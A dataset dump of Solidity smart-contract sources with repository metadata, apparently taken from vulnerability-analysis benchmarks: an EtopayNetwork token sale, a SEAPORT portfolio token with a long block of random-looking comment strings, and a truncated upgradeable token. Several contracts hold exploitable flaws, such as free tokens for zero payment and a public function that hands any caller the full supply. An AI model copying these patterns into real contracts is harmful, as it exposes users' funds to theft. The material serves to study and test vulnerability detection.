hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2f1c28c0e73e2991b43686c4aea3c6961ebfb7bfdee1a1b4c4eafea9dfc3bfb4
| 14,489 |
.sol
|
Solidity
| false |
410736639
|
SoftSec-KAIST/Smartian-Artifact
|
33c42ba3f2b2f60093173801433b6fd7f3dd710d
|
benchmarks/B3/sol/0xdf4703c56d1497a33c3fe75c2ee4ba02515778e9.sol
| 3,353 | 11,625 |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'EtopayNetwork'
//
// NAME : EtopayNetwork
// Symbol : Etopay Token
// Total supply: 700,000,000
// Decimals : 8
//
// Enjoy.
//
// (c) by EtopayNetwork team. The MIT Licence.
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract EtopayNetwork is StandardToken {
string public constant name = "EtopayNetwork";
string public constant symbol = "EtopayToken";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 70 * 10**7 * (10**uint256(decimals));
uint256 public weiRaised;
uint256 public tokenAllocated;
address public owner;
bool public saleToken = true;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function EtopayNetwork() public {
totalSupply = INITIAL_SUPPLY;
owner = msg.sender;
//owner = msg.sender; // for testing
balances[owner] = INITIAL_SUPPLY;
tokenAllocated = 0;
transfersEnabled = true;
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
require(saleToken == true);
address wallet = owner;
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
TokenPurchase(_investor, weiAmount, tokens);
wallet.transfer(weiAmount);
return tokens;
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (addTokens > balances[owner]) {
TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) {
uint256 amountOfTokens = 0;
if(_weiAmount == 0){
amountOfTokens = 200 * (10**uint256(decimals));
}
if(_weiAmount == 0.001 ether){
amountOfTokens = 300 * (10**uint256(decimals));
}
if(_weiAmount == 0.002 ether){
amountOfTokens = 600 * (10**uint256(decimals));
}
if(_weiAmount == 0.003 ether){
amountOfTokens = 900 * (10**uint256(decimals));
}
if(_weiAmount == 0.004 ether){
amountOfTokens = 1200 * (10**uint256(decimals));
}
if(_weiAmount == 0.005 ether){
amountOfTokens = 1500 * (10**uint256(decimals));
}
if(_weiAmount == 0.006 ether){
amountOfTokens = 1800 * (10**uint256(decimals));
}
if(_weiAmount == 0.007 ether){
amountOfTokens = 2100 * (10**uint256(decimals));
}
if(_weiAmount == 0.008 ether){
amountOfTokens = 2400 * (10**uint256(decimals));
}
if(_weiAmount == 0.009 ether){
amountOfTokens = 2700 * (10**uint256(decimals));
}
if(_weiAmount == 0.01 ether){
amountOfTokens = 3000 * (10**uint256(decimals));
}
if(_weiAmount == 0.02 ether){
amountOfTokens = 6000 * (10**uint256(decimals));
}
if(_weiAmount == 0.03 ether){
amountOfTokens = 9000 * (10**uint256(decimals));
}
if(_weiAmount == 0.04 ether){
amountOfTokens = 12000 * (10**uint256(decimals));
}
if(_weiAmount == 0.05 ether){
amountOfTokens = 15000 * (10**uint256(decimals));
}
if(_weiAmount == 0.06 ether){
amountOfTokens = 18000 * (10**uint256(decimals));
}
if(_weiAmount == 0.07 ether){
amountOfTokens = 21000 * (10**uint256(decimals));
}
if(_weiAmount == 0.08 ether){
amountOfTokens = 24000 * (10**uint256(decimals));
}
if(_weiAmount == 0.09 ether){
amountOfTokens = 27000 * (10**uint256(decimals));
}
if(_weiAmount == 0.1 ether){
amountOfTokens = 30 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.2 ether){
amountOfTokens = 60 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.3 ether){
amountOfTokens = 90 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.4 ether){
amountOfTokens = 120 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.5 ether){
amountOfTokens = 225 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.6 ether){
amountOfTokens = 180 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.7 ether){
amountOfTokens = 210 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.8 ether){
amountOfTokens = 240 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.9 ether){
amountOfTokens = 270 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 1 ether){
amountOfTokens = 600 * 10**3 * (10**uint256(decimals));
}
return amountOfTokens;
}
function mint(address _to, uint256 _amount, address _owner) internal returns (bool) {
require(_to != address(0));
require(_amount <= balances[_owner]);
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
Transfer(_owner, _to, _amount);
return true;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner public returns (bool){
require(_newOwner != address(0));
OwnerChanged(owner, _newOwner);
owner = _newOwner;
return true;
}
function startSale() public onlyOwner {
saleToken = true;
}
function stopSale() public onlyOwner {
saleToken = false;
}
function enableTransfers(bool _transfersEnabled) onlyOwner public {
transfersEnabled = _transfersEnabled;
}
function claimTokens() public onlyOwner {
owner.transfer(this.balance);
uint256 balance = balanceOf(this);
transfer(owner, balance);
Transfer(this, owner, balance);
}
}
| 19,951 | 12,200 |
9fffeda36b5aca590b6704066ad9713a00d47ea213ae5b6a98c6d86231c68c9a
| 19,486 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x4f2254768302c0770d37bd99e16165a83f561bb4.sol
| 9,335 | 16,094 |
pragma solidity ^0.4.21 ;
contract SEAPORT_Portfolio_VII_883 {
mapping (address => uint256) public balanceOf;
string public name = " SEAPORT_Portfolio_VII_883 " ;
string public symbol = " SEAPORT883VII " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 831660039583872000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'mission - Lignes 1 10
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < a4767VTR3x9A4bC0FphnCmOyY8JSnYgoKvHDW78uEd6VRKEFw2xmw009r9J0Hy5b >
// < 1E-018 limites [ 1E-018 ; 21856728,6061468 ] >
// < 0x000000000000000000000000000000000000000000000000000000008246BA90 >
// < SEAPORT_Portfolio_VII_metadata_line_2_____Novorossiysk_Port_Spe_Value_20230515 >
// < W22SwHleW8b0Izq88BlL1G6p584dc65RuC0M1vz8II311t8Qu7fj0eHL8QEZlMk8 >
// < 1E-018 limites [ 21856728,6061468 ; 50306307,7954406 ] >
// < 0x000000000000000000000000000000000000000000000008246BA9012BD9576F >
// < SEAPORT_Portfolio_VII_metadata_line_3_____Novosibirsk_Port_Spe_Value_20230515 >
// < qflz7L412r5bC2h51RVQBuKlM4hIdhSl61FxgJ23IX3n3H9k7GmgtR6W7T713vwE >
// < 1E-018 limites [ 50306307,7954406 ; 65899592,0380108 ] >
// < 0x000000000000000000000000000000000000000000000012BD9576F188CACE17 >
// < SEAPORT_Portfolio_VII_metadata_line_4_____Olga_Port_Authority_20230515 >
// < WVhtTL79oeTCzQlXHc6y419k884n0dTa2v0Ks2gC071g8WlNdN3Y7dZFk8C66cK0 >
// < 1E-018 limites [ 65899592,0380108 ; 81408748,4855109 ] >
// < 0x0000000000000000000000000000000000000000000000188CACE171E53BE654 >
// < SEAPORT_Portfolio_VII_metadata_line_5_____Olga_Port_Authority_20230515 >
// < p2SWS701m7q44sXHYH5XS4W43LXDmsE5124xY0h8y93y1lIiS6o2b51xkd3cVmal >
// < 1E-018 limites [ 81408748,4855109 ; 96323880,8191582 ] >
// < 0x00000000000000000000000000000000000000000000001E53BE65423E2295E5 >
// < SEAPORT_Portfolio_VII_metadata_line_6_____Omsk_Port_Spe_Value_20230515 >
// < 8s4AJ0567uy40hX7d2FEF0MKeWUoMw5WZ5F3n5BS5rjljKl93wl7QQU70BF4Dn4u >
// < 1E-018 limites [ 96323880,8191582 ; 118094022,026032 ] >
// < 0x000000000000000000000000000000000000000000000023E2295E52BFE52F4E >
// < vi4BQiM1x32Lh0PJY6jg9TQ46IYc47DTKnfzn194JQnPuXw98b8LCG7Eh98Uw0w2 >
// < 1E-018 limites [ 118094022,026032 ; 138307730,940671 ] >
// < 0x00000000000000000000000000000000000000000000002BFE52F4E33860DB5A >
// < SEAPORT_Portfolio_VII_metadata_line_8_____Onega_Port_Authority_20230515 >
// < Z81nJgH6pRkG7VkaiX61hnb1R5HS759Q2k4DT8nje88z1Jh5MUQjK2iq94s0oYop >
// < 1E-018 limites [ 138307730,940671 ; 163089132,802004 ] >
// < 0x000000000000000000000000000000000000000000000033860DB5A3CC164674 >
// < SEAPORT_Portfolio_VII_metadata_line_9_____Onega_Port_Authority_20230515 >
// < 7rt9rb62nIdwgr4s4DVv3mSR6w37hNl9d3Ez6T2f0K7te9Nai0f300K4H2Vt9L9n >
// < 1E-018 limites [ 163089132,802004 ; 188060620,049932 ] >
// < 0x00000000000000000000000000000000000000000000003CC164674460EDBDA8 >
// < SEAPORT_Portfolio_VII_metadata_line_10_____Perm_Port_Spe_Value_20230515 >
// < dLAjvq95O8Nwt263Eeo8yiWqFF3i9qS50F45B3Ipm0u77EkYLE6Sq91hTiaNNe1c >
// < 1E-018 limites [ 188060620,049932 ; 209312617,242435 ] >
// < 0x0000000000000000000000000000000000000000000000460EDBDA84DF99B710 >
// Programme d'mission - Lignes 11 20
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < Z0W1Zn1UpeJlv2J5qZpndoozFPUcNH9w788ruCssIu7dVqa9J8oF54anOd6B58IF >
// < 1E-018 limites [ 209312617,242435 ; 232541937,723194 ] >
// < 0x00000000000000000000000000000000000000000000004DF99B71056A0ED860 >
// < 7Q7tL2tRz7V7rK1jSHMWfof6OKhBt93TJpMOM1k1ci6Hr0gC6wdaoh0DLfpUVQQR >
// < 1E-018 limites [ 232541937,723194 ; 250320165,082122 ] >
// < 0x000000000000000000000000000000000000000000000056A0ED8605D4064470 >
// < lM0URV9T165xq9i399aWCUA2CmFV1xUKhiYw49r8m6R73gc0auTz0frc84grVBk4 >
// < 1E-018 limites [ 250320165,082122 ; 266613342,483114 ] >
// < 0x00000000000000000000000000000000000000000000005D406447063523AEDC >
// < IGdGhCI30bxSTk8h67qk3TrQOKpPgyvqQf50vV3BW34P1fST0ja9H0jL2bSyCM3l >
// < 1E-018 limites [ 266613342,483114 ; 292395631,853538 ] >
// < 0x000000000000000000000000000000000000000000000063523AEDC6CED055A5 >
// < SEAPORT_Portfolio_VII_metadata_line_15_____Poronaysk_Port_Authority_20230515 >
// < w5Ixsp0Fn766S1Dg72s5LZBUx9fRqO2ZAxMqPe3RtF9H22YGvXf7Amw3N15oq5I5 >
// < 1E-018 limites [ 292395631,853538 ; 307938190,387152 ] >
// < 0x00000000000000000000000000000000000000000000006CED055A572B746592 >
// < SEAPORT_Portfolio_VII_metadata_line_16_____Poronaysk_Port_Authority_20230515 >
// < 1V0W8K06fgUeSog7P5igR39Vtics3hpqdiNwK271q1636Cq0B8mHMj9KkQ7FQc3H >
// < 1E-018 limites [ 307938190,387152 ; 328597011,374162 ] >
// < 0x000000000000000000000000000000000000000000000072B7465927A6974185 >
// < 56L5oIjhS92Vo6TG81JY3OsB9N3g43S5kaIRH17QmS060UVX9ndux59F6g9gK3S9 >
// < 1E-018 limites [ 328597011,374162 ; 351529374,981334 ] >
// < 0x00000000000000000000000000000000000000000000007A697418582F47440E >
// < i6mgr4X98mc9kaw2hYVesiWZAO9DXapfWs9fic2h7puq1t2zi39GT0IG693z5aTD >
// < 1E-018 limites [ 351529374,981334 ; 367758983,166911 ] >
// < 0x000000000000000000000000000000000000000000000082F47440E89003AEC0 >
// < 0IU9pLicZ7700v2ojnJP1ige2K998CHOx4hc237wTn0jQf3I0ETc2y96dg7FY39P >
// < 1E-018 limites [ 367758983,166911 ; 394365940,535429 ] >
// < 0x000000000000000000000000000000000000000000000089003AEC092E9AAD79 >
// < b0cOUQ91ytt05KBesDzV6tpTuEL5FBq8n1RI8363V7I6lXlc9wbEXnruAs2Ya6bu >
// < 1E-018 limites [ 394365940,535429 ; 413157508,198651 ] >
// < 0x000000000000000000000000000000000000000000000092E9AAD7999E9C5597 >
// Programme d'mission - Lignes 21 30
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < SEAPORT_Portfolio_VII_metadata_line_21_____Primorsk_Port_Authority_20230515 >
// < CS5m3U474NTI7Wv4bJAJnxFT78I4Eam3VUDW9M5QQ4e5u6QFS3mHT4Da52OCl2KI >
// < 1E-018 limites [ 413157508,198651 ; 430858723,09083 ] >
// < 0x000000000000000000000000000000000000000000000099E9C5597A081E3EA9 >
// < 0DCU7Gld08JOOs0oxK3hO1344Jjrt2b6N2VA2EZBkHw7ruE4AX3QTOVCgzG97X5I >
// < 1E-018 limites [ 430858723,09083 ; 449919869,657276 ] >
// < 0x0000000000000000000000000000000000000000000000A081E3EA9A79BB3F09 >
// < 1P16E21OHmR4EwGCMojvH0gm56dNYFvmp8FdUoqxuCY7FQ28Yx67QNZ5J2ehx933 >
// < 1E-018 limites [ 449919869,657276 ; 468278197,328073 ] >
// < 0x0000000000000000000000000000000000000000000000A79BB3F09AE727D4C8 >
// < SEAPORT_Portfolio_VII_metadata_line_24_____Rostov_on_Don_Port_Spe_Value_20230515 >
// < 1k0hmZ6a9G1eqk9QZG0inpM9z70Bb4OUMr796GlTJaPrwvLI95v98vf6QOSmPepV >
// < 1E-018 limites [ 468278197,328073 ; 489414703,320786 ] >
// < 0x0000000000000000000000000000000000000000000000AE727D4C8B65239470 >
// < SEAPORT_Portfolio_VII_metadata_line_25_____Ryazan_Port_Spe_Value_20230515 >
// < E2oSXi32DF2L21FJ1KiZzHn8FvLI0H4Nymz54DaKs3SPVD7332MAfc1y5X2iKv88 >
// < 1E-018 limites [ 489414703,320786 ; 507850330,152042 ] >
// < 0x0000000000000000000000000000000000000000000000B65239470BD3061D2B >
// < bL727R3kzgWeZGQo1PYp2uTDeh1T02hw7lW3bhKSaDExaG95vkx6vbD9kJ0T0Ltu >
// < 1E-018 limites [ 507850330,152042 ; 533519909,795645 ] >
// < 0x0000000000000000000000000000000000000000000000BD3061D2BC6C06C8B7 >
// < SEAPORT_Portfolio_VII_metadata_line_27_____Salekhard_Port_Spe_Value_20230515 >
// < Yo3WYvX1B2L6GU56Umi7Jl8E4gH37p4g4C6nks5o7IWWxZ0ul4Pk2czHdLZ0Qo59 >
// < 1E-018 limites [ 533519909,795645 ; 560105200,261919 ] >
// < 0x0000000000000000000000000000000000000000000000C6C06C8B7D0A7CB7CE >
// < SEAPORT_Portfolio_VII_metadata_line_28_____Samara_Port_Spe_Value_20230515 >
// < 85oN7x8ZxQMwcgbMR08eaF7fX8W6dGOr8069I5r2H23819Gvc0LZqBAk61lM4rM4 >
// < 1E-018 limites [ 560105200,261919 ; 588224726,320107 ] >
// < 0x0000000000000000000000000000000000000000000000D0A7CB7CEDB217B5AC >
// < SEAPORT_Portfolio_VII_metadata_line_29_____Saratov_Port_Spe_Value_20230515 >
// < V0i2U8Ki1Id9I1wNlPe6fK5hWeLA2BuMkn9407OLS8bN3T243Q2RH01AZ24yTqMF >
// < 1E-018 limites [ 588224726,320107 ; 603091217,912931 ] >
// < 0x0000000000000000000000000000000000000000000000DB217B5ACE0AB42CF3 >
// < SEAPORT_Portfolio_VII_metadata_line_30_____Sarepta_Port_Spe_Value_20230515 >
// < eDcOD7wpgXcC4t1S7W69r8g838H5BB00Q381zEIAG4h7x9Kf1k48I9radZml0zM5 >
// < 1E-018 limites [ 603091217,912931 ; 625771450,288981 ] >
// < 0x0000000000000000000000000000000000000000000000E0AB42CF3E91E376B8 >
// Programme d'mission - Lignes 31 40
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < SEAPORT_Portfolio_VII_metadata_line_31_____Sea_Port_Hatanga_20230515 >
// < l1AcUyHV15n4eAVB4F0PTH8eY7Z0Yz8myHt5mTD4XX117RfPycEUsQbe8ek2K1it >
// < 1E-018 limites [ 625771450,288981 ; 645935703,401499 ] >
// < 0x0000000000000000000000000000000000000000000000E91E376B8F0A13AC18 >
// < SEAPORT_Portfolio_VII_metadata_line_32_____Sea_Port_Zarubino_20230515 >
// < hvvLX226yn2JUB1HH787S9J8U7p11T1Tm2733aMFhe7o210sL6Z5BhP2VQ9CJ3DA >
// < 1E-018 limites [ 645935703,401499 ; 667753217,080227 ] >
// < 0x0000000000000000000000000000000000000000000000F0A13AC18F8C1E8E60 >
// < SEAPORT_Portfolio_VII_metadata_line_33_____Serpukhov_Port_Spe_Value_20230515 >
// < 29Adz5FkJSKHTR9K512XHqP048817ksCGbwfm9h5zGNZle4eFhhWd61G96pG8z9W >
// < 1E-018 limites [ 667753217,080227 ; 688826896,09959 ] >
// < 0x000000000000000000000000000000000000000000000F8C1E8E601009BA703D >
// < SEAPORT_Portfolio_VII_metadata_line_34_____Sevastopol_Marine_Trade_Port_20230515 >
// < 4f0I7f71sjyS5nrH6zGhcjMF5GFcxcsBxZRJLnwg9GUmHO8I066tPNX2DScztvv2 >
// < 1E-018 limites [ 688826896,09959 ; 703823462,631833 ] >
// < 0x000000000000000000000000000000000000000000001009BA703D10631D620B >
// < SEAPORT_Portfolio_VII_metadata_line_35_____Sevastopol_Port_Spe_Value_20230515 >
// < 4h8AG71H0R2s2P1jvGV7x2qMB29rzO80d9Abj098nH80P46Ceb15Op66AwjP483O >
// < 1E-018 limites [ 703823462,631833 ; 724799539,220132 ] >
// < 0x0000000000000000000000000000000000000000000010631D620B10E02455F6 >
// < SEAPORT_Portfolio_VII_metadata_line_36_____Severodvinsk_Port_Spe_Value_20230515 >
// < 9995Hf928BXZe5Gh6iufi6UYfiBJPX5H7910dsw21pSrqnHEDO12mwVdz3tlm863 >
// < 1E-018 limites [ 724799539,220132 ; ] >
// < 0x0000000000000000000000000000000000000000000010E02455F611808D7743 >
// < JZ0TZ4925wdBK91cfXe0Wd7oOS2QXTHeYxQTv4tx779Mfa0Mgho65zNo7qSnIvR1 >
// < 1E-018 limites [ 751711982,87324 ; 771591961,494733 ] >
// < 0x0000000000000000000000000000000000000000000011808D774311F70BE7E9 >
// < SEAPORT_Portfolio_VII_metadata_line_38_____Sochi_Port_Authority_20230515 >
// < ID0LIQ7f8Nn3t906Pk9dkXD1Pj9gI1o75ihcWYEp4Aq3uvB6EqB716mSH4Xqt4Kt >
// < 1E-018 limites [ 771591961,494733 ; 797186023,890109 ] >
// < 0x0000000000000000000000000000000000000000000011F70BE7E9128F995889 >
// < SEAPORT_Portfolio_VII_metadata_line_39_____Sochi_Port_Spe_Value_20230515 >
// < tXn54eD5tYoIXpWQv43AkY343TQ0k0QwS60J6UO41l42UAeKBW2ZcZxz0OuBTfpV >
// < 1E-018 limites [ 797186023,890109 ; 816321780,430821 ] >
// < 0x00000000000000000000000000000000000000000000128F9958891301A8316F >
// < SEAPORT_Portfolio_VII_metadata_line_40_____Solombala_Port_Spe_Value_20230515 >
// < 1YLgFQ0yJ3hz1w3i65gAVG910dHcWcDeBlFdN74mI9MA695AR3cqTCNLMExuu07K >
// < 1E-018 limites [ 816321780,430821 ; 831660039,583872 ] >
// < 0x000000000000000000000000000000000000000000001301A8316F135D1484EA >
}
| 182,114 | 12,201 |
11994018fb0f08e5b2cc23757fe9f0134c346d815728c6e46c682aa29a86debb
| 17,036 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xaff84e86d72edb971341a6a66eb2da209446fa14.sol
| 3,024 | 11,412 |
pragma solidity ^0.4.4;
contract ERC20 {
uint public totalSupply;
uint public decimals;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract SafeMathLib {
function safeMul(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _tokenHolder, uint256 _amount) external;
}
contract StandardToken is ERC20, SafeMathLib {
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function transfer(address _to, uint _value) returns (bool success) {
// SafMaths will automatically handle the overflow checks
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to],_value);
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(_allowance,_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract TCAUpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function TCAUpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
require(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading);
// Validate input value.
require(value != 0);
balances[msg.sender] = safeSub(balances[msg.sender], value);
// Take tokens out from circulation
totalSupply = safeSub(totalSupply, value);
totalUpgraded = safeAdd(totalUpgraded, value);
// Upgrade agent reissues the tokens
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
// The token is not yet in a state that we could think upgrading
require(canUpgrade());
require(agent != 0x0);
// Only a master can designate the next agent
require(msg.sender == upgradeMaster);
// Upgrade has already begun for an agent
require(getUpgradeState() != UpgradeState.Upgrading);
upgradeAgent = UpgradeAgent(agent);
// Bad interface
require(upgradeAgent.isUpgradeAgent());
// Make sure that token supplies match in source and target
require(upgradeAgent.originalSupply() == totalSupply);
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
require(master != 0x0);
require(msg.sender == upgradeMaster);
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract ReleasableToken is ERC20, Ownable {
